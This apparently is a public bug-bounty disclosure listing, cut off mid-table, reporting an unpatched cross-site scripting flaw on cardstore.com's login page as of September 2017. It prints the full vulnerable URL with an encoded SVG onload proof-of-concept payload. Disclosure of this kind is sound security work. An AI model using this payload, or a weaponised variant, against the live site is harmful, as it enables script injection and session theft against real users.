cardstore.com XSS vulnerability

Vulnerable URL: https://www.cardstore.com/acct/login?reference=http%3A%2F%2Fwww.cardstore.com%2Fsearch%2Fqwe%3Fsearchterm%3Dqwe%22--!%3E%3CSvg/OnLoad=confirm'OPENBUGBOUNTY'%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 24.09.2017 Vulnerability type:| XSS...